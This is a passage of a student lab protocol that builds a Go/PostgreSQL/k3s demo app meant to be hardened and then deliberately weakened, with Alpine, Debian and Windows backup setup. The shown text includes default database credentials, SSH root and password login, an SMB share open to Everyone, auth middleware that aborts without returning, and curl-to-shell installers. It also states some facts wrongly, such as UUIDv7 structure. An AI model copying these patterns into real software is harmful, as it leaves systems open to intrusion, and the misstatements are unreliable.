Note: this was converted from Typst to Markdown using AI assistance. The original Typst file can be found here along with the bibliography.

Exercise 1: Anti Hardening

Laboratory protocol
Exercise 1: Anti Hardening

Table of Contents

• Summary
• Complete network topology of the exercise
• Exercise Execution
  • Setup
    • Architecture
    • Connecting the Setup Using Tailscale
    • Choosing Distros
      • How Alpine is different from Debian
    • Setting Up Alpine
    • Setting Up Debian
    • Setting Up Windows Server
  • Setting Up the Services
    • Setting Up PostgreSQL
      • Database Schema
    • Setting Up the API
    • Setting Up the Frontend
    • Setting Up Kubernetes
    • Setting Up Docker Swarm
    • Setting Up SMB Share
  • Making the Application Insecure
    • Authentication Bypass via JWT Parsing
    • Authentication Bypass via HTTP Headers
    • CSP Header Misconfiguration
    • Hardcoding Secrets
    • Database Listening on All Interfaces
  • Making Windows Insecure
    • Changing The Execution Policy
    • Disabling Windows Defender
  • Making Linux Insecure
    • Disabling ASLR
    • Writable Binaries
  • How Tools Like Tailscale Help Harden Security
• References

Summary

This exercise is about hardening and then anti-hardening server applications and OSes, so a fictional app was created that features the requirements of having a database and a webserver. Everything was hosted on a laptop in VirtualBox with NAT networking and connected over Tailscale as will be further explained in Connecting the Setup Using Tailscale.

The architecture that was settled on was making a distributed app with a Go API built using the gin framework and a vanilla HTML/CSS/JS frontend served via caddy and served inside of a k3s cluster. The API stores the data in a PostgreSQL database hosted on a single Alpine VM using docker stack in a single-node docker swarm cluster to be able to utilize docker secrets. The DB’s data is backed up daily to an SMB share on a Windows server. The app uses a JWT authentication flow with refresh tokens to have a partially stateless authentication system which is easy to run, distributed, and scalable.

The goal was to learn more about distributed systems, authentication, and hardening, which is why this scenario was chosen. The insecure version has two authentication bypasses, one by using bad JWT parsing allowing to log in as different users and a HTTP header to bypass authentication requirements if it says it’s from the same IP as the pods. Furthermore, the insecure version has a CSP header that allows unsafe-inline and unsafe-eval which is needed to make the insecure version insecure. In the insecure version secrets were just stored in the Kubernetes manifests and Docker Compose files instead of using each secret management tool.

Each of the insecurities will be evaluated and shown how to mitigate them. Also the insecure database was listening to 0.0.0.0 which could allow a threat actor to connect to it directly instead of having only the API exposed. Lastly, the focus was more to make the services insecure rather than the OS as their insecurities were mostly the same and more boring to show like allowing SSH root login, using bad passwords, and so on.

Tailscale was also used to show off how to lock down sensitive data transmissions on a separate network layer like for database connections and internal Kubernetes traffic. All in all, the focus was shifted from the OS to the services and the app, as the OS is the most boring part of the setup and the goal was to learn about authentication and distributed systems rather than hardening.

Complete network topology of the exercise

Exercise Execution

Setup

Architecture

The goal of this exercise is to set up 2 services and make them insecure, so a fictional app was opted for that features the requirements of having a database and a webserver. Everything was hosted on a laptop in VirtualBox with NAT networking and connected over Tailscale as will be further explained in Connecting the Setup Using Tailscale.

The architecture that was settled on was making a distributed app with a Go API build using the gin framework and a vanilla HTML/CSS/JS frontend served via caddy and served inside of a k3s cluster. The API stores the data in a PostgreSQL database hosted on a single Alpine VM using docker stack in a single-node docker swarm cluster to be able to utilize docker secrets. The database is not sharded, as in this case it would be overkill, and the DB’s data is backed up daily to an SMB share on a Windows server. The app uses a JWT authentication flow with refresh tokens to have a partially stateless authentication system which is easy to run, distributed, and scalable.

Connecting the Setup Using Tailscale

As mentioned before, Tailscale was opted for to connect the setup, as using Kubernetes requires an IP address which would either be static or use domain names, which would not be pleasant to work with in this context. The only viable option would be using the NAT network type, as this would allow an internal consistent IP range and allow internet connectivity; however, this has two drawbacks:

• On a laptop it would be really inconsistent and after about 30 minutes just crash and require a recreation of the network.
• Accessing the VMs would require port forwarding in VirtualBox, so one would end up juggling a lot of ports on localhost and losing track of what ports are what very quickly.

Bridge network would not be a solution as the VMs would not be having a static IP binding on the DHCP range of the network the laptop is connected to. Host-only network would not work either due to having no internet access. ¹

So Tailscale was opted for, so all the VMs could talk to each other and Magic DNS could be used to access them with convenience from the laptop by just typing in their hostnames. ² This, however, has the drawback of later not being able to separate the public internet from a private administrative connection, which would be tailscale here, and instead to demonstrate this connecting via localhost is used as there is no other option, but whenever it happens the situation will be explained to make clear when using Tailscale will be like using the internet and when it will be a private administrative connection.

Choosing Distros

For the choice of distros Alpine Linux was chosen due to it being extremely lightweight and new packages via the community repository, and Debian for the k3s cluster, as the minimal Alpine setup didn’t work well with k3s and rather than spending more time to get it to work Debian was used as it can be trusted to work and be stable as always. The newest release of each distro was used.

How Alpine is different from Debian

Alpine is a very lightweight distro, built around musl libc and BusyBox. The latter of the two is an implementation of many Unix commands in a single executable file, which is meant for embedded operating systems with very limited resources, which replaces basic functionality of more than 300 commands often used in containers. It has no more than 8 MB and installed to disk requires around 130 MB of storage, but you also get a large selection of packages and a fully fledged distro. ^{3 4}

It differs from Debian in its init system, which is OpenRC instead of Systemd from Debian, which is bigger and more complex as it has a lot of extra features which really aren’t needed here. Additionally by default it’s advised to use doas instead of sudo as it is more minimal. All of this makes it very nice to work with and takes fewer resources from my laptop and provides much faster boot times than Debian and not ancient packages like Debian.

Setting Up Alpine

After downloading the virt image from the Alpine website, which is 65 MB in size, once in VirtualBox the only thing to select is Use EFI under specify virtual hardware and select Linux and Other Linux as OS type. All the other values can be left on default as 1 CPU, 512 MB RAM, and 8 GB disk space is plenty already as shown in [@fig:alpine-vm-settings] ⁵

Additionally, to be able to ssh into the VM for the setup, port forwarding was set up in VirtualBox to forward port 22 to 5555 as well as the host to 127.0.0.1 since it’s localhost and the guest IP to 10.0.2.15 as shown in [@fig:port-forward], as it’s the default NAT IP in VirtualBox, so setup can be done using apk add openssh, rc-service sshd start. In case an IP is not obtained on boot, run apk add dhcpcd and setup-interfaces, select all default options, and run rc-service dhcpcd start to get an IP address. ⁶

However, when installing OpenSSH the whole config was commented, so #Port 22 and #PermitRootLogin yes had to be uncommented in /etc/ssh/sshd_config to allow root logins and ListenAddress 0.0.0.0 and PasswordAuthentication yes and AddressFamily any to allow login to the installer.

Now one can ssh into the VM with ssh root@127.0.0.1 -p 5555 and be in the VM and have a good experience installing as well as being able to record the screen using asciinema and then converting the desired frames to an SVG for clean and themable screenshots for this exercise documentation.

Once sshed in the setup-alpine command gets used to install the os which prompts through all the needed steps to get setup with the basics. First, it asks for the hostname. Then it proceeds to networking, where all defaults are used and either DHCP is selected or the IP is set to 10.0.2.15 if desired. Next, it prompts for the desired root password and time zone. Use “none” for the proxy URL since it is not needed. For the NTP client, select BusyBox because it is used regardless and can save space, as shown in [@fig:alpine-setup-1].

The next step asks for which mirror for the package manager to use, where default is selected and then for users select no as users will be created later and then OpenSSH is selected and root login is allowed as there is no other user and lastly the correct disk is selected and accept is hit to finish the installation and reboot into the install as seen in [@fig:alpine-setup-2].

SSH’ed into the new install. setup-apk-repos -c is used to add the community repository shown in [@fig:alpine-community-repo] to install the needed packages with apk add fish starship docker doas docker-cli-compose vim jq eza curl. Here is a quick rundown on what each package is for:

• fish is a command-line shell that is similar to bash and zsh but with a lot of features and is very fast.
• starship is a prompt that shows the current directory, git branch, git status, and git commits and, most importantly for the sake of documentation, displays it neatly where one is SSHed into.
• docker is a container runtime that is used to run containers.
• doas is a tool that allows running commands as another user.
• docker-cli-compose is a tool that allows running Docker Compose commands.
• vim is a text editor as there is a deep hatred against vi.
• jq is a tool that allows parsing JSON and pretty printing it for screenshots.
• eza is ls but with colors and icons and a good tree view.
• curl is a tool that allows making HTTP requests to install tailscale.

To create the two users, fus-user and fus-admin, the setup-user script is used to create both users, and then adduser fus-admin wheel and addgroup fus-admin docker to first make the user privileged by adding them to the wheel group, which is a Unix concept referencing a user account with the wheel bit, a system setting that provides additional special privileges that empower a user to execute restricted commands that ordinary users cannot access. ^{7 8}

Lastly, Docker was enabled by rc-service docker start, and then logging in as the fus-admin user and running docker run hello-world to verify Docker is running and the user does not need to be root to run Docker commands. ⁹ As shown in [@fig:test-docker].

To grant the user access to run commands with doas, a configuration override is created at /etc/doas.d/20-wheel.conf with permit persist :wheel to allow the user to run doas commands, which can be observed in [@fig:test-doas].

Lastly for the basic alpine setup, in the admin user fish is run to generate the default config and then at ~/.config/fish/config.fish the following is added to enable starship from [@snip:enable-starship-in-fish]. Where the new prompt can be seen after exiting and then reopening fish shell.

if status is-interactive
  starship init fish | source
end

[@fig:jq-jerkoff] shows the Starship prompt, and jq is used by curling a GET endpoint from httpbin.org, which is piped into jq to pretty-print the JSON output. jq also allows filtering output with various commands like jq '.url' to show the URL value of the returned JSON object. This can be used with far more depth to filter giant JSON blobs in logs; for example, to make them readable with jq, but here it’s only used to pretty print to show the wanted parts of kubectl get -o json commands.

Lastly, from the TailScale dashboard under New Device -> Linuxserver, the install script is copied and the sudo swapped withdoas, curl -fsSL https://tailscale.com/install.sh | sh && doas tailscale up --auth-key=tskey-auth-REDACTED, and after this as [@fig:tailscale-jerkoff] verifies the device is added to the tailnet.

Setting Up Debian

Setting up Debian was straightforward as any Debian install, where one just clicks through the installer, only selecting no desktop as well as selecting OpenSSH server as a package and creating an additional user so one doesn’t lock oneself out of SSH due to root login being disabled by default. Tailscale was installed the same as on Alpine, just copy-pasting the command from the admin panel. The same was repeated two more times for the agents of the k3s cluster.

Setting Up Windows Server

Installing Windows Server was even more straightforward than the two previous installs, as one just clicks Continue and, once rebooted, downloads Tailscale, signs in, and then uses the Chris Titus Tech WinUtil to restore things like the old context menu, disable Bing from the Start menu, and other annoyances.

Setting Up the Services

Before stating the setup of each service, here is a quick rundown of the app’s vision and some details about the services.

• General idea:
  • List of posts by users, secured by authentication and user signups
  • Users can create, edit, delete posts, and change their password
  • Admins can create, edit, delete posts and manage users
• Database:
  • “Source of truth” for all app data and state
• API:
  • Authentication and authorization
  • CRUD operations
• Web:
  • Frontend

Setting Up PostgreSQL

Database Schema

The schema consists of three tables:

• Users
• Posts
• Refresh Tokens

Each of them has a primary key using a UUIDv7 type, which is an extension of UUIDv4 and has all the benefits of UUIDv4, such as avoiding issues with global uniqueness and therefore fitting for distributed systems, as I can just assign an ID without worrying about it being incremental, nor exposing information about the size of the app, etc., where users can see how many users there are; in case of an API hack you can’t just enumerate users and an attacker can’t easily do something like curl https://some-api/users/1 etc. The API backdoor is not useless but, rather, more limited and can mitigate the damage somewhat. UUIDv7 uses the first 18 bits to timestamp its creation to make it sortable in databases, which makes it ideal to work with. ¹⁰

The first two lines of the schema are dedicated to the extensions we will use: pgcrypto for hashing and pg_uuidv7 for UUIDv7 generation. They are installed using the create extension command, and since only pgcrypto is built-in, I chose to use the Docker image from the maintainer of pg_uuidv7 rather than the official Postgres image. Their image just adds the extension on top of PostgreSQL 17, which isn’t the newest version but still fine, and saves me from uploading my own image of the latest Postgres to a container registry. ¹¹

create extension if not exists pgcrypto;
create extension if not exists pg_uuidv7;

Lets go through the tables one by one.

As seen in [@snip:users-table], the users table is pretty straightforward with the only thing worth mentioning being the role column, which uses an enum defined above for the users’ role, which can either be admin or user, constraining it at the database level instead of the application layer. Additionally, the created_at column is kind of useless as I use UUIDv7, but it’s there so I can be lazier and just fetch it instead of handling it in the application layer, plus it was there before switching to UUIDv7 and I forgot to remove it.

create type user_role as enum ('admin', 'user');

create table if not exists users (
  id          uuid primary key default uuid_generate_v7(),
  email       text not null unique,
  username    text not null,
  password    text not null,
  role        user_role not null default 'user',
  created_at  timestamp with time zone not null default now()
);

The refresh tokens table has the user_id foreign key and the token_hash column, which is a binary representation of the refresh token for the user hashed with sha256 in the application layer, needed to compare if a refresh token that was generated by the user’s JWT on login is valid or has been revoked or replaced. More about this will be explained in [@sec:explaining-auth]. Additionally, the two indexes are used to make the queries faster, as the user_id index is used to filter the tokens by user, and the expires_at index is used to filter the tokens by expiration date.

create table if not exists refresh_tokens (
  id              uuid primary key default uuid_generate_v7(),
  user_id         uuid not null references users(id) on delete cascade,
  token_hash      bytea not null unique,
  created_at      timestamptz not null default now(),
  expires_at      timestamptz not null,
  revoked_at      timestamptz,
  replaced_by_id  uuid references refresh_tokens(id)
);

create index if not exists rt_user_idx on refresh_tokens (user_id);
create index if not exists rt_expires_idx on refresh_tokens (expires_at);

create table if not exists posts (
  id       uuid primary key default uuid_generate_v7(),
  title    text not null,
  content  text not null,
  user_id  uuid not null references users(id) on delete cascade
);

The posts table above has nothing to explain, so moving on to the last section of the schema, which is the authenticate_user_id function in [@snip:auth-user]. This function is used to check a user’s credentials and returns their user ID if they’re valid. It looks up where the email matches the parameter p_email; the p_ prefix is a naming convention to indicate a parameter, and then compares the input password and encrypts it using the crypt function from the pgcrypto extension, which takes a string to hash and a salt to use, or an already hashed password to compare as we do here. ^{12 13} The API will use this function to check whether a user is valid or not, and when inserting it will run.

create or replace function authenticate_user_id(p_email text, p_pass text)
returns uuid
language sql
as $$
select u.id
from users u
where u.email = p_email
and u.password = crypt(p_pass, u.password)
$$;

To deploy the database, Docker Compose was used from [@snip:pg-compose], which is not secure but this will be changed in [@sec:docker-secrets], so for now this is fine. This sets the needed environment variables for username, password, and database, as well as the default port, volume mapping for the schema file, and the data volume.

services:
  db:
    image: ghcr.io/fboulnois/pg_uuidv7
    environment:
      POSTGRES_USER: postgres
      POSTGRES_PASSWORD: postgres
      POSTGRES_DB: someApp
    ports:
      - 5432:5432
    volumes:
      - ./schema.sql:/docker-entrypoint-initdb.d/schema.sql
      - postgres-data:/var/lib/postgresql/data

volumes:
  postgres-data:

During development I used this fish script from [@snip:boated-fishs-script] to deploy the database, which is a bit of a pain to use but it works fine. I know I could have used docker context for this, but using a script is more convenient, and since the compose file uses a volume mapping and the file isn’t there I would have to copy it over anyway, and I can’t have ConfigMaps in Docker like Kubernetes has it.

#!/usr/bin/env fish

scp ~/itsi/itsi/4kl/ue1/goApp/db/schema.sql fus-admin@ex1-alpine-db:app/schema.sql
scp ~/itsi/itsi/4kl/ue1/goApp/db/docker-compose.yml fus-admin@ex1-alpine-db:app/docker-compose.yml
if contains -- -v $argv
  ssh fus-admin@ex1-alpine-db "cd app && docker compose down -v && docker compose up -d"
else
  ssh fus-admin@ex1-alpine-db "cd app && docker compose down && docker compose up -d"
end

Making the Demo App

Backend

The backend is a simple API that is used to authenticate users and to store the data. The API is written in Go and uses the gin framework. It takes care of all the CRUD operations, which stands for Create, Read, Update, and Delete, meaning managing all the data in the database. ¹⁴

The endpoints are split into three groups:

• Users
• Posts
• Admin

Notable endpoints:

• POST /users creates a new user
• POST /posts creates a new post for the currently signed-in user
• POST /auth/login logs in a user
• POST /auth/logout logs out a user
• POST /auth/refresh refreshes a token

Additionally, middleware is used to check if the user is authenticated and if the user is an admin, which restricts access to certain endpoints. Middleware is a term describing services found above the transport (i.e., over TCP/IP) layer but below the application environment (i.e., below application-level APIs). ¹⁵

For example, there is middleware that will be later explained to check if the user is authenticated and has valid tokens, middleware for rate limiting, enforcing headers, and max body size. The above endpoints will be explained below as well as some more general things about the backend.

Authentication Breakdown

JSON Web Tokens

A JSON Web Token (JWT) is a compact, URL-safe means of representing claims to be transferred between two parties. The claims in a JWT are encoded as a JSON object that is digitally signed using JSON Web Signature (JWS) and/or encrypted using JSON Web Encryption (JWE). ¹⁶

The JWT is a base64url-encoded string, which is divided into three parts, separated by a period, and each part is a base64url-encoded string. The first part is the header, the second part is the payload, and the third part is the signature. ¹⁶

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJyb2xlIjoiYWRtaW4iLCJpc3MiOiJhcHAiLCJzdWIiOiIwMTk5Y2FiMy1mNjUwLTc2MzAtYTlhMC0yODJk
YjBhMTFmNzAiLCJhdWQiOlsiYXBwLWNsaWVudHMiXSwiZXhwIjoxNzYwMDk5MTc3LCJpYXQiOjE3NjAwODgxMTd9.
r7JhFS-GBkxqhg_VWpYhcpEM03vorB2ebJqocrJUfns

Decoding the payload will show the result shown in [@snip:jwt-example].

{
  "typ": "JWT",
  "alg": "HS256"
}
{
"aud": [
  "app-clients"
],
"exp": 1759966073,
"iat": 1759965173,
"iss": "app",
"role": "user",
"sub": "0199c616-f254-74b7-958b-2555db9f6e7d"
}

The payload consists of two JSON objects, the first one being the header and the second one being the payload. The header is used to specify the type of token, which is JWT in this case, and also the algorithm used to sign the token, which in this case is HS256 which is a symmetric-key hashing algorithm. This key will be set when deploying as a Kubernetes secret and can nicely be generated with openssl rand -base64 64 to generate a 64-character long key to use for the signing. While RS256 could have been used, the implementation would have been more complex, and for the showcase HS256 is perfectly fine. ¹⁷

The payload has the “claims” of the token, i.e., data for who the subject is, what role they have, when the token expires, and what audience the token is for. I use those standard claims in my app: ¹⁶

• aud: audience
  • identifies the intended recipient of the token
  • in this case it is the app clients
• exp: expiration
  • when the token expires
  • the date must be a numerical Unix date
• iat: issued at
  • when the token was issued
  • the date must be a numerical Unix date
• iss: issuer
  • identifies the principal that issued the token
  • in this case the name of the app
• sub: subject
  • identifies the subject of the token
  • the user ID of the user the token is for

And also added is role, which is the role of the user, which can either be admin or user.

With these basics we can look at the authentication flow and then a bit of the implementation and middleware used.

Authentication Flow

The app uses a JWT authentication flow with refresh tokens. This means when a user signs in, the app will return a JWT token and a refresh token. The refresh token can be used to get a new JWT token after it expires. The JWT gets stored in LocalStorage and the refresh token gets stored in the browser’s cookies as a secure HTTPS cookie, and the refresh token’s hash, expiration date, and user ID are stored in the database, and then the token is used to get a new JWT token when it expires.

The received JWT will be appended to the Authorization header with the value Bearer <base64-encoded JWT>, which the frontend code takes from LocalStorage and inserts into the header; the JWT should not be in a cookie since it would be auto-sent by the browser, making it prone to XSS-style session hijacking. [@noauthor_oauth_nodate-1]

In [@fig:login-refresh-flow], it shows how the client hits the auth/refresh endpoint with the refresh token to verify that it is still valid against the DB, and then issues a new JWT token to be used for the rest of the session. ^{18 16}

With this knowledge, we can look at the implementation of the JWT authentication flow middleware as in [@snip:auth-middleware].

func (h *Handlers) AuthMiddleware() gin.HandlerFunc {
      return func(c *gin.Context) {
              hdr := c.GetHeader("Authorization")
              if len(hdr) < 8 || hdr[:7] != "Bearer " {
                      // log error
                      c.Abort()
              }

              tokenStr := hdr[7:]
              claims, err := auth.ParseAndValidate(h.Cfg, tokenStr)
              if err != nil {
                      // log error
                      c.Abort()
              }
              c.Set("sub", claims.Subject)
              c.Set("role", claims.Role)
              c.Next()
      }

}

This code reads the header and stores the value of the Authorization header if present, and checks that it is long enough to be a JWT and that the Bearer prefix is there. If it’s valid, the string gets cut to only have the encoded JWT left, which is then parsed and validated with h.Cfg being a context object in the server that stores the JWT secret needed to validate the token. If no error is returned, we store sub and role in a key-value store called c.Set from the Gin framework, allowing us to keep contextual data in the request, which is later used in the following handlers to extract user id and role. ¹⁶

If a JWT is forged, the request should fail. The ParseAndValidate function uses the jwt library to parse the JWT and validate it with our configured values and key and rules, performing the signature check to ensure the token wasn’t forged by a threat actor and is valid. After the middleware succeeds, the other handlers will take over and let the user in. ¹⁶

Leaky Bucket Rate Limiting

There is an additional middleware to rate limit using a leaky bucket algorithm. This algorithm is simple and works by using a First In, First Out (FIFO) queue with a fixed capacity to manage request rates, ensuring a constant rate regardless of traffic spikes and instead focusing on a consistent rate of requests. ¹⁹

This can be imagined like a bucket leaking at a fixed rate to avoid overflow. ¹⁹

It’s implemented by simply using the go.uber.org/ratelimit package and using ratelimit.New(configuredRPS) and limit.Take() in the middleware handler to enforce a rate limit. This has no per-IP request profiling, as I found that to be overkill for this, and the RPS (Requests Per Second) is loaded via an ENV variable for easy configuration.

Hosting the Frontend

The frontend files are served via Caddy, a reverse proxy server, which I use to serve the frontend files and reverse proxy the API calls to the backend. To make better use of it, I made a custom Docker image in [@snip:caddy-dockerfile] where I copy the static files in a multi-stage build after minifying them, saving a couple of kilobytes in the final image and reducing web requests.

FROM alpine:3.20 AS builder
RUN apk add --no-cache minify
WORKDIR /app

COPY index.html styles.css script.js /app/

RUN minify -o index.html index.html && \
    minify -o styles.css styles.css && \
    minify -o script.js script.js

FROM caddy:2-alpine
WORKDIR /srv

COPY --from=builder /app /srv
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh

ENTRYPOINT ["/entrypoint.sh"]

The entry point in [@snip:caddy-entrypoint] is here to allow overwriting the API base path in the frontend with an environment variable for flexibility.

#!/bin/sh
set -e
WEBROOT="/srv"

: "${API_BASE:=/api}"

SAFE_API_BASE=$(printf '%s' "$API_BASE" | sed 's/[&]/\\&/g')
sed -i "s|__API_BASE__|$SAFE_API_BASE|g" "$WEBROOT/script.js"

exec caddy run --config /etc/caddy/Caddyfile --adapter caddyfile

Lastly, the minimal required Caddyfile is [@snip:basic-caddyfile], which reverse proxies to the API and API_URL is meant to be replaced with the actual API URL. This can be added by mounting the Caddyfile with the correct values into the container or embedding it via a ConfigMap when using Kubernetes. It only listens on port 80 and doesn’t feature TLS. The static files are served from the root directive, which is the root of the files in the container, and the file_server directive is used to serve the static files. The configuration will be discussed in more depth when I talk about the Kubernetes setup and making the app insecure.

:80 {
  handle_path /api/* {
    reverse_proxy API_URL
  }

 root * /srv
 encode gzip zstd
 file_server
}

Setting Up Windows SMB Share for Backups

As stated in [@sec:Architecture], the purpose of the Windows Server is to be used as a backup to archive database snapshots. The setup is straightforward and consists of the following steps:

• Partition and format the drive as NTFS
• Create the needed users and group
• Set the permissions
• Create the needed directories
• Share the input directory
• Create a PowerShell script to move the files from the input directory to a sorted directory structure
• Create a scheduled task to run the script every night

Before each step is covered, an overview of the backup process will be given, and [@sec:backing-up-postgres-data] will show how the data gets into the input directory.

Backup Strategy

In [@fig:backup-dirs] the backup layout is shown, where the data directory is the input dir, which gets shared via SMB, in a share that will be called app-data where a user called share-app will have write access to it, which will be used to authenticate to the share and have no other permissions. Additionally, a share-backup will be created, used by the scheduled task to copy over the files from the input dir and structure in \backups and have each backup in a timestamped directory containing the encrypted dump, a file with the dumps checksum, and a JSON file like in [@fig:backup-json-manifest] which stores the hash, filename, and filesize for possible restorations. The \backups\archive directory will be used after the configured amount of generations has been reached and then compresses the backups into timestamped zip archives in that dir, which will be auto-deleted with the backup script.

The resulting dump of the database is just a binary blob encrypted with GPG, which viewing the contents of the file in [@fig:windoof-bat] using bat which is a cat clone but with more features such as syntax highlighting and just showing <BINARY> instead of cluttering the whole terminal output. ²⁰

While implementing the requirements for the backup strategy, only a single screenshot of the results was taken, as the actual process is very trivial and almost all of it was covered last year in Exercise 8. ²¹

The Created partition is shown in [@fig:windoof-disks].

In [@fig:windoof-user], the user share-app is created with settings that prevent password changes and set to never expire, since this account is intended for automated scripts and does not require normal user logins, and will be rotated manually on demand. Users could also be grouped if desired.

These users can be inspected with the net user command, which is shown in [@fig:windoof-users].

To inspect the NTFS permissions of the directory structure, the Get-PermissionTree module created by Edi (available here) is used to inspect the NTFS permissions of a given directory recursively with the desired depth, as shown in [@fig:windoof-perms]. [@eduard_ereboss8get-permissiontree_2025]

Now the \data directory can be shared by simply granting Everyone full control which can be seen in [@fig:windoof-share], as the NTFS permissions take over by the privilege of the least privileged user.

Before creating the scheduled backup task, the share-backup user must be allowed to sign on as a batch job. This can be configured in Local Security Policy under User Rights Assignments > Log on as a batch job, as shown in [@fig:windoof-gp]. After making the change, reboot or run gpupdate /force to apply the changes. [@vinaypamnani-msft_log_nodate]

To create the scheduled task in Task Scheduler, a task named app-backup will be created with powershell.exe and the argument -NoProfile -ExecutionPolicy Bypass -File "D:\app\scripts\pg_file_collector.ps1" to run the script. To set the user the task runs as, you should use Create Task (Advanced) rather than Create Basic Task. Lastly, a trigger is set to run the task once a day. In [@fig:windoof-task], the three needed steps are aggregated into a single figure.

With the task setup and any script fitting the requirements created, the Windows part for backups is now complete. My PowerShell script is available on my GitHub at here. It can be implemented in many ways, so breaking down my approach to copying files isn’t worth detailing since it can just be examined on GitHub.

Backing Up Postgres Data

To backup Postgres, four things are needed:

• Mounting the Windows share
• A GPG key
• A backup script
• A scheduled task

To mount the Windows share, install the cifs-ultils, gnupg and docker-cli packages via apk add gnupg cifs-utils docker-cli. After creating the directory for the mount point, add the following entry to /etc/fstab, a file that defines disk partitions and various other block devices or remote file systems that should be mounted into the file system. ²²

• //ex1-windoof/app-data
  • remote share location using Tailscale Magic DNS instead of an IP
• /mnt/backups/app
  • mount point
• cifs
  • filesystem type
• credentials=/etc/cifs-creds/backup_smb_creds
  • credentials file
• vers=3.0
  • SMB version
• uid=1000,gid=1000
  • user and group id of fus-user created in [@sec:setting-up-alpine] without any root privileges
• file_mode=0640
  • permissions for the files
• dir_mode=0750
  • permissions for the directories
• _netdev
  • marks the device as a network device
• 0 0
  • dump and fsck options (disabled due to being a network mount) ²³

This can be applied by running mount -a or rebooting the system.

To now generate a GPG key, gpg --generate-key is run on the host instead of the VM, as the private key needs to be kept safe and not on a random server and then the public key will be exported and uploaded to the vm to encrypt the backups and have the administrator or team have the private keys to decrypt and restore backups. In the dialogue only the Real name field is needed which is named ex1-itsi and the email field is skipped which then prompts to enter a passphrase for the key to finish the generation.

By using gpg --list-keys "ex1-itsi" the key can be inspected as in [@fig:inspect-gpg-key].

This, however, shows that there are actually two key pairs: a primary (“normal”) key and a subordinate (“subkey”) pair. The primary key is used for signing and certification (capabilities [SC]) and uses the ed25519 elliptic-curve algorithm, which is known for high performance. The owner is identified by the uid field, which is the name entered earlier. The subkey uses curve25519, another elliptic-curve algorithm designed for key exchange and often used for encryption, as indicated by the e capability in the capabilities field.

Next, the key is exported to a file with gpg --export -a ex1-itsi > ex1-itsi.pub.asc and then copied to the VM via scp ex1-itsi.pub fus-admin@ex1-alpine-vm:/home/fus-admin/ex1-itsi.pub.asc, where it is imported with gpg --import ex1-itsi.pub.asc, which is verified in [@fig:inspect-gpg-key-host] on the VM.

The backup script consists of running pg_dump via docker exec in the target container, and using gpg --homedir /home/fus-admin/.gnupg --batch --yes --recipient "ex1-itsi" --encrypt "$DUMPFILE" to encrypt the backup, then moving it to the share along with the boilerplate. It is also available on GitHub alongside the PowerShell script. Lastly, using crontab -e and adding 0 1 * * * rc-service app-backup start to run the backup script once a day.

Additionally, an OpenRC service file was created to run the script as the unprivileged user, as shown in [@snip:backup-open-rc-service]. OpenRC is Alpine Linux’s init system and service manager, which is used to manage system services and daemons. ²⁴ The service file defines how the backup script should be executed, including which user it runs as, what dependencies it has, and how it should behave during startup and shutdown. This approach provides several benefits over running the script directly via cron: better logging integration with the system, dependency management, and the ability to start/stop the service manually if needed. The service file is placed in /etc/init.d/ and can be managed using standard OpenRC commands like rc-service app-backup start, rc-service app-backup stop, and rc-service app-backup status.

#!/sbin/openrc-run

description="Run Docker PostgreSQL backup job (encrypts dump)"

command="/usr/local/bin/pg_docker_backup.sh"
command_user="fus-admin"
command_env="HOME=/home/fus-admin"

depend() {
    need docker net localmount
}

start_pre() {
    if [ ! -d /mnt/backups/app ]; then
        eerror "Backup path /mnt/backups/app not mounted"
        return 1
    fi
}

start() {
    ebegin "Executing PostgreSQL backup script"
    $command
    local rc=$?
    [ "$rc" -eq 0 ] && eend 0 "Backup finished successfully" || eend $rc "Backup failed"
}

This service file sets the command and user to use and includes boilerplate to verify that the backup path is mounted, start and stop the app, and add logging. ²⁴

Let’s break down each section of the service file: The shebang #!/sbin/openrc-run tells the system that this is an OpenRC service script. The description field provides a human-readable description of what the service does. The command field specifies the full path to the script that will be executed. The command_user field defines which user the service should run as, in this case fus-admin to avoid running as root. The command_env field sets environment variables for the command, here setting the HOME variable to the user’s home directory. The depend() function defines service dependencies: docker (the container runtime), net (networking), and localmount (local filesystem mounts). This ensures these services are running before the backup service starts. The start_pre() function runs before the main service starts and checks if the backup mount point /mnt/backups/app exists and is accessible. If not, it logs an error and prevents the service from starting. The start() function contains the main service logic. It logs the start of the backup process, executes the command, captures the return code, and logs whether the backup succeeded or failed based on the exit code.

A working run was already shown in [@fig:backup-dirs] not requiring any further Figures.

Kubernetes Intro

Overview and Needed Terms

Kubernetes is a container orchestration platform that is used to manage and deploy containers. It is an open-source project that was originally developed by Google and is now maintained by the Cloud Native Computing Foundation (CNCF). ²⁵

It is used to orchestrate and manage containers across multiple hosts, which can be done by using a single Kubernetes cluster or by using multiple clusters, each with its own set of nodes to horizontally scale the workloads, which is the opposite of vertical scaling where you scale by upgrading hardware, such as upgrading the CPU or moving to a bigger machine. ^{25 26}

A cluster consists of a master node and one or more worker nodes. The master node is responsible for managing the cluster and the worker nodes are responsible for running the containers. Those nodes can be virtual machines, bare metal servers, or cloud instances, and can be on the same physical machine or on different physical machines. ²⁷

Once in a cluster they can be added to a Kubernetes cluster by the kubectl cli, which offers commands to interact with the cluster, such as creating deployments, scaling deployments, and creating services all from the convenience of not having to SSH into each server. ²⁸

The following terms are used in this document:

• Kubernetes cluster
  • set nodes that can be used to run containers
• Kubernetes node
  • a virtual or physical machine, depending on the cluster. Each node is managed by the control plane and contains the services necessary to run Pods. ²⁹
• Kubernetes pod
  • smallest deployable units of computing that you can create and manage in Kubernetes. ³⁰
• Kubernetes deployment
  • provides declarative updates for Pods and ReplicaSets usually written in YAML. ³¹
• Kubernetes service
  • method for exposing a network application that is running as one or more Pods in your cluster. ³²

How does k3s differ from other implementations like k8s?

K3s is a lightweight Kubernetes distribution designed for edge computing, reducing the strain on my laptop and allowing my Debian nodes to be provisioned with minimal resources. ³³ It is not the only distribution; Kubernetes is a system that can be implemented by various projects, including K3s, K8s, MicroK8s, and others. ²⁵

Creating a Kubernetes Cluster

To create a Cluster, k3s first we need to create a master node so we can later add agents to it. For this k3s provides a nice installer script we can customize with the options down below, shown in [@snip:k3s-master].

export TS_IP=$(tailscale ip -4)
curl -sfL https://get.k3s.io | sh -s - server \
  --node-ip "$TS_IP" \
  --advertise-address "$TS_IP" \
  --tls-san debian-k3s-master.tail112d0c.ts.net \
  --flannel-iface tailscale0

Before the command is run since the Tailscale IP is needed, it is fetched with tailscale ip -4 and then the installer is run with the following options ³⁴:

• server is the mode of the installer, which is used to install the master node
• --node-ip is the IP of the node, which is the Tailscale IP
